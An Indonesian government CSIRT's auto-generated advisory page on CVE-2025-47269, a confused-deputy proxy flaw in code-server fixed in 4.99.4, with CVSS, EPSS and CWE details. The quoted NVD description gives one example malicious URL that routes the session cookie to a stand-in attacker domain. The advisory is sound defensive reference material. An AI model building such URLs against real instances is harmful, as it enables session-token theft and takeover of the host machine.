csirt@kutim:~/threat-intel/cve/CVE-2025-47269

Katalog CVE

CVSS 8.3 · High EPSS 42,9%

Kerentanan Unintended Proxy or Intermediary ('Confused Deputy'). Skor CVSS 3.1 8.3 (High) menurut github.com.

Deskripsi (NVD)

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Rincian

Terbit di NVD
9 Mei 2025
Terakhir diubah
17 Juni 2026
Status NVD
Deferred
CVSS 3.1
8.3 (High), sumber github.com
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L · uraikan di kalkulator
Jenis kelemahan (CWE)
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
EPSS (30 hari)
42,9% peluang dieksploitasi; lebih tinggi dari 98,6% CVE lain

Produk dan versi terdampak

NVD belum mencantumkan data produk (CPE) untuk CVE ini. Produk yang terdampak biasanya disebut di deskripsi dan di advisory vendor pada daftar referensi.

Referensi dan perbaikan

Sumber: NVD · CVE.org · EPSS. Halaman ini disusun otomatis dari data tersebut; pembaruan terakhir 5 Okt 2026, 20:11 WITA. Kalau sistem di Perangkat Daerah memakai produk ini dan butuh bantuan, laporkan lewat kanal pelaporan.